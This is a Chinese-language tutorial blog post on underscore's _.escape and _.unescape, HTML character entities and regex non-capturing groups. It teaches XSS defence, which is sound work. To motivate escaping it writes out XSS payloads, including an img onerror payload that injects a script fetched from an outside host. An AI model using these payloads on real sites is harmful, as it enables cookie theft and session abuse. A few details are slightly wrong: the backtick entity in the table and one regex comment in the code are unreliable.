underscore 系列之字元實體與 _.escape

冴羽發表於2018-03-29

前言

underscore 提供了 _.escape 函式,用於轉義 HTML 字串,替換 &, <, >, ", ', 和 ` 字元為字元實體。

_.escape('Curly, Larry & Moe');
=> "Curly, Larry &amp; Moe"
複製程式碼

underscore 同樣提供了 _.unescape 函式,功能與 _.escape 相反:

_.unescape('Curly, Larry &amp; Moe');
=> "Curly, Larry & Moe"
複製程式碼

XSS 攻擊

可是我們為什麼需要轉義 HTML 呢?

舉個例子,一個個人中心頁的地址為:www.example.com/user.html?name=kevin,我們希望從網址中取出使用者的名稱,然後將其顯示在頁面中,使用 JavaScript,我們可以這樣做:

/**
 * 該函式用於取出網址引數
 */
function getQueryString(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return unescape(r[2]);
    return null;
}

var name = getQueryString('name');
document.getElementById("username").innerHTML = name;
複製程式碼

如果被一個同樣懂技術的人發現的話,那麼他可能會動點“壞心思”:

比如我把這個頁面的地址修改為:www.example.com/user.html?name=<script>alert(1)</script>

就相當於:

document.getElementById("username").innerHTML = '<script>alert(1)</script>';
複製程式碼

會有什麼效果呢?

結果是什麼也沒有發生……

這是因為:

根據 W3C 規範,script 標籤中所指的指令碼僅在瀏覽器第一次載入頁面時對其進行解析並執行其中的指令碼程式碼,所以通過 innerHTML 方法動態插入到頁面中的 script 標籤中的指令碼程式碼在所有瀏覽器中預設情況下均不能被執行。

千萬不要以為這樣就安全了……

你把地址改成 www.example.com/user.html?name=<img src=@ onerror=alert(1)> 的話,就相當於:

document.getElementById("d1").innerHTML="<img src=@ onerror=alert(1)>"
複製程式碼

此時立刻就彈窗了 1。

也許你會想,不就是彈窗個 1 嗎?還能怎麼樣?能寫多少程式碼?

那我把地址改成 www.example.com/user.html?name=<img src=@ onerror='var s=document.createElement("script");s.src="https://mqyqingfeng.github.io/demo/js/alert.js";document.body.appendChild(s);' /> 呢?

就相當於:

document.getElementById("username").innerHTML = "<img src=@ onerror='var s=document.createElement(\"script\");s.src=\"https://mqyqingfeng.github.io/demo/js/alert.js\";document.body.appendChild(s);' />";
複製程式碼

整理下其中 onerror 的程式碼:

var s = document.createElement("script");
s.src = "https://mqyqingfeng.github.io/demo/js/alert.js";
document.body.appendChild(s);
複製程式碼

程式碼中引入了一個第三方的指令碼,這樣做的事情就多了,從取你的 cookie,傳送到黑客自己的伺服器,到監聽你的輸入,到發起 CSRF 攻擊,直接以你的身份呼叫網站的各種介面……

總之,很危險。

為了防止這種情況的發生,我們可以將網址上的值取到後,進行一個特殊處理,再賦值給 DOM 的 innerHTML。

字元實體

問題是怎麼進行轉義呢?而這就要談到字元實體的概念了。

在 HTML 中,某些字元是預留的。比如說在 HTML 中不能使用小於號(<)和大於號(>),因為瀏覽器會誤認為它們是標籤。

如果希望正確地顯示預留字元,我們必須在 HTML 原始碼中使用字元實體(character entities)。

字元實體有兩種形式:

  1. &entity_name;
  2. &#entity_number;

比如說我們要顯示小於號,我們可以這樣寫:&lt;&#60;

值得一提的是,使用實體名而不是數字的好處是,名稱易於記憶。不過壞處是,瀏覽器也許並不支援所有實體名稱(但是對實體數字的支援卻很好)。

也許你會好奇,為什麼 < 的字元實體是 &#60 呢?這是怎麼進行計算的呢?

其實很簡單,就是取字元的 unicode 值,以 &# 開頭接十進位制數字 或者以 &#x開頭接十六進位制數字。舉個例子:

var num = '<'.charCodeAt(0); // 60
num.toString(10) // '60'
num.toString(16) // '3c'
複製程式碼

我們可以以 &#60; 或者 &#x3c; 在 HTML 中表示出 <

不信你可以寫這樣一段 HTML,顯示的效果都是 <

<div>&lt;</div>
<div>&#60;</div>
<div>&#x3c;</div>
複製程式碼

再舉個例子:以字元 '喵' 為例:

var num = '喵'.charCodeAt(0); // 21941
num.toString(10) // '21941'
num.toString(16) // '55b5'
複製程式碼

在 HTML 中,我們就可以用 &#21941; 或者 &#x55b5 表示,不過“喵”並不具有實體名。

轉義

我們的應對方式就是將取得的值中的特殊字元轉為字元實體。

舉個例子,當頁面地址是 www.example.com/user.html?name=<strong>123</strong>時,我們通過 getQueryString 取得 name 的值:

var name = getQueryString('name'); // <strong>123</strong>
複製程式碼

如果我們直接:

document.getElementById("username").innerHTML = name;
複製程式碼

如我們所知,使用 innerHTML 會解析內容字串,並且改變元素的 HMTL 內容,最終,從樣式上,我們會看到一個加粗的 123。

如果我們轉義,將 <strong>123</strong> 中的 <> 轉為實體字元,即 &lt;strong&gt;123&lt;/strong&gt;,我們再設定 innerHTML,瀏覽器就不會將其解釋為標籤,而是一段字元,最終會直接顯示 <strong>123</strong>,這樣就避免了潛在的危險。

思考

那麼問題來了,我們具體要轉義哪些字元呢?

想想我們之所以要轉義 <> ,是因為瀏覽器會將其認為是一個標籤的開始或結束,所以要轉義的字元一定是瀏覽器會特殊對待的字元,那還有什麼字元會被特殊對待的呢?(O_o)??

& 是一個,因為瀏覽器會認為 & 是一個字元實體的開始,如果你輸入了 &lt;,瀏覽器會將其解釋為 <,但是當 &lt; 是作為使用者輸入的值時,應該僅僅是顯示使用者輸入的值,而不是將其解釋為一個 <

'" 也要注意,舉個例子:

伺服器端渲染的程式碼為:

function render (input) {
  return '<input type="name" value="' + input + '">'
}
複製程式碼

input 的值如果直接來自於使用者的輸入,使用者可以輸入 "> <script>alert(1)</script>,最終渲染的 HTML 程式碼就變成了:

<input type="name" value=""> <script>alert(1)</script>">
複製程式碼

結果又是一次 XSS 攻擊……

最後還有一個是反引號 `,在 IE 低版本中(≤ 8),反引號可以用於關閉標籤:

<img src="x` `<script>alert(1)</script>"` `>
複製程式碼

所以我們最終確定的要轉義的字元為:&, <, >, ", ', 和 `。轉義對應的值為:

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;
` --> &#60;
複製程式碼

值得注意的是:單引號和反引號使用是實體數字、而其他使用的是實體名稱,這主要是從相容性的角度考慮的,有的瀏覽器並不能很好的支援單引號和反引號的實體名稱。

_.escape

那麼具體我們該如何實現轉義呢?我們直接看一個簡單的實現:

var _ = {};

var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
};

_.escape = function(string) {
    var escaper = function(match) {
        return escapeMap[match];
    };
    // 使用非捕獲性分組
    var source = '(?:' + Object.keys(escapeMap).join('|') + ')';
    console.log(source) // (?:&|<|>|"|'|`)
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');

    string = string == null ? '' : '' + string;
    return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}
複製程式碼

實現的思路很簡單,構造一個正規表示式,先判斷是否能匹配到,如果能匹配到,就執行 replace,根據 escapeMap 將特殊字元進行替換,如果不能匹配,說明不需要轉義,直接返回原字串。

值得一提的是,我們在程式碼中列印了構造出的正規表示式為:

(?:&|<|>|"|'|`)
複製程式碼

其中的 ?: 是個什麼意思?沒有這個 ?: 就不可以匹配嗎?我們接著往下看。

非捕獲分組

(?:pattern) 表示非捕獲分組,即會匹配 pattern 但不獲取匹配結果,不進行儲存供以後使用。

我們來看個例子:

function replacer(match, p1, p2, p3) {
    // match,表示匹配的子串 abc12345#$*%
    // p1,第 1 個括號匹配的字串 abc
    // p2,第 2 個括號匹配的字串 12345
    // p3,第 3 個括號匹配的字串 #$*%
    return [p1, p2, p3].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, replacer); // abc - 12345 - #$*%
複製程式碼

現在我們給第一個括號中的表示式加上 ?:,表示第一個括號中的內容不需要儲存結果:

function replacer(match, p1, p2) {
    // match,表示匹配的子串 abc12345#$*%
    // p1,現在匹配的是字串 12345
    // p1,現在匹配的是字串 #$*%
    return [p1, p2].join(' - ');
}
var newString = 'abc12345#$*%'.replace(/(?:[^\d]*)(\d*)([^\w]*)/, replacer); // 12345 - #$*%
複製程式碼

_.escape 函式中,即使不使用 ?: 也不會影響匹配結果,只是使用 ?: 效能會更高一點。

反轉義

我們使用了 _.escape 將指定字元轉為字元實體,我們還需要一個方法將字元實體轉義回來。

寫法與 _.unescape 類似:

var _ = {};

var unescapeMap = {
    '&amp;': '&',
    '&lt;': '<',
    '&gt;': '>',
    '&quot;': '"',
    '&#x27;': "'",
    '&#x60;': '`'
};

_.unescape = function(string) {
    var escaper = function(match) {
        return unescapeMap[match];
    };
    // 使用非捕獲性分組
    var source = '(?:' + Object.keys(unescapeMap).join('|') + ')';
    console.log(source) // (?:&|<|>|"|'|`)
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');

    string = string == null ? '' : '' + string;
    return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
}

console.log(_.unescape('Curly, Larry &amp; Moe')) // Curly, Larry & Moe
複製程式碼

抽象

你會不會覺得 _.escape_.unescape 的程式碼實在是太像了,以至於讓人感覺很冗餘呢?

那麼我們又該如何優化呢?

我們可以先寫一個 _.invert 函式,將 escapeMap 傳入的時候,可以得到 unescapeMap,然後我們再根據傳入的 map (escapeMap 或者 unescapeMap) 不同,返回不同的函式。

實現的方式很簡單,直接看程式碼:

/**
 * 返回一個object副本,使其鍵(keys)和值(values)對換。
 * _.invert({a: "b"});
 * => {b: "a"};
 */
_.invert = function(obj) {
    var result = {};
    var keys = Object.keys(obj);
    for (var i = 0, length = keys.length; i < length; i++) {
        result[obj[keys[i]]] = keys[i];
    }
    return result;
};

var escapeMap = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '`': '&#x60;'
};
var unescapeMap = _.invert(escapeMap);

var createEscaper = function(map) {
    var escaper = function(match) {
        return map[match];
    };
    // 使用非捕獲性分組
    var source = '(?:' + _.keys(map).join('|') + ')';
    var testRegexp = RegExp(source);
    var replaceRegexp = RegExp(source, 'g');
    return function(string) {
        string = string == null ? '' : '' + string;
        return testRegexp.test(string) ? string.replace(replaceRegexp, escaper) : string;
    };
};

_.escape = createEscaper(escapeMap);
_.unescape = createEscaper(unescapeMap);
複製程式碼

underscore 系列

underscore 系列目錄地址:github.com/mqyqingfeng…

underscore 系列預計寫八篇左右,重點介紹 underscore 中的程式碼架構、鏈式呼叫、內部函式、模板引擎等內容,旨在幫助大家閱讀原始碼,以及寫出自己的 undercore。

如果有錯誤或者不嚴謹的地方,請務必給予指正,十分感謝。如果喜歡或者有所啟發,歡迎 star,對作者也是一種鼓勵。

相關文章